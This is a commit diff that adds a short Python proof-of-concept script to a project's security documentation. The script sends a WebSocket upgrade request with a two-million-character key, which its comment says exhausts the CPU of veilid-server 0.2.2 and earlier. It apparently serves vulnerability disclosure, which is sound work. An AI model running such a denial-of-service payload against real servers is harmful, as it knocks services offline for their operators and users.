consolidate docs, add security poc

doc/security/poc/large-websocket-key-v0.2.2.py

@@ -0,0 +1,7 @@
+# When pointed at veilid-server 0.2.2 or earlier, this will cause 100% CPU utilization
+
+import socket
+s = socket.socket()
+s.connect(('127.0.0.1',5150))
+s.send(f"GET /ws HTTP/1.1\r\nSec-WebSocket-Version: 13\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Key: {'A'*2000000}\r\n\r\n".encode())
+s.close()